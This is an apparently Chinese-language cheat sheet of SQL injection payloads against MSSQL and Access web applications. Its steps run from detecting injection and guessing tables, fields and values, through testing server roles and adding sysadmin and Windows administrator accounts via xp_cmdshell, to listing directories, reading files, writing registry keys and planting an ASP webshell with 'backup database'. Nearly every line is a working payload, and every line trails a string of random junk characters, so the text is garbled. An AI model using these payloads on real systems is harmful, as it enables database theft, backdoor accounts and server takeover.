1.判断是否有注入;and 1=1 ;and 1=2 TI DgIK
2.初步判断是否是mssql ;and user>0 'hjEd.
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3.注入参数是字符'and [查询条件] and ''=' i]r(VKX
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' eLSzGbKf
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5.判断数据库系统 G$>?UQ[
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;and (select count(*) from sysobjects)>0 mssql 3:x(2 A
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;and (select count(*) from msysobjects)>0 access X(ph$,[
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 &IQ=M.!r
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 P+j=]Yg
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 =IC.FT}
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9.(1)猜字段的ascii值(access) @PvO;]]%
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 'GJB9i+a^
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(2)猜字段的ascii值(mssql) h9Far8}
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 P$ o bID
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10.测试权限结构(mssql) ,s~l; Gkj
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- N_c44[z1
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- {]Zan'{PCO
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ({!!b"B2
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- }YDi/b7
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 1tNL)x"w
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- : .x((
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;and 1=(select IS_MEMBER('db_owner'));-- aO&U=!
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11.添加mssql和系统的帐户 a#j,0FKv
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;exec master.dbo.sp_addlogin username;-- y&$n[j
;exec master.dbo.sp_password null,username,password;-- #|b*l/t8
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- t*(bF[?
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;exec master.dbo.xp_cmdshell 'net user username password D;Qx9^.
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 1b9S";ct0
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- LE8<JMB
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- /L^g. ~
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12.(1)遍历目录 ]pR?/3
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;create table dirs(paths varchar(100), id int) 7H3v[ f^Q
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;insert dirs exec master.dbo.xp_dirtree 'c:\' *igmi9A
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;and (select top 1 paths from dirs)>0 RCR= W6
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) &O'W+4FAc
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(2)遍历目录 3:WqUb\QK
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- =<n ]T;
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 V+`kB3GV
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 b9j}QK
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 tRoSq;VrS
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 mo| D
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13.mssql中的存储过程 rRe5Q
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xp_regenumvalues 注册表根键, 子键 +VUkV-kP
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 qf0pi&q
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xp_regread 根键,子键,键值名 oXG_6E!^
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;exec xp_regread \ja6g
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 .\XRkr'-
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xp_regwrite 根键,子键, 值名, 值类型, 值 y<Koc>8
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 IO\1nB$0nb
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Cv,WG]E7(
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xp_regdeletevalue 根键,子键,值名 `
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 MJ:c";KCq0
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 6Ryc&z5
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14.mssql的backup创建webshell \tgY2:
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use model @D9O<x
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create table cmd(str image); ? $B4'wc5
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insert into cmd(str) values (''); Gld~GyB\k
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backup database model to disk='c:\l.asp'; _A,_RM$Y
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15.mssql内置函数 d*6f,z2=
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;and (select @@version)>0 获得Windows的版本号 b~.$1oZ
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2O kID
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;and (select user_name())>0 爆当前系统的连接用户 LW<LgN"L-
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;and (select db_name())>0 得到当前连接的数据库 ci;2XLAM
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16.简洁的webshell J`5VE$2M
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use model ]O|>nTa
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create table cmd(str image); oRbWqN`F.
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insert into cmd(str) values (''); 29:2Xu i
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backup database model to disk='g:\wwwtest\l.asp';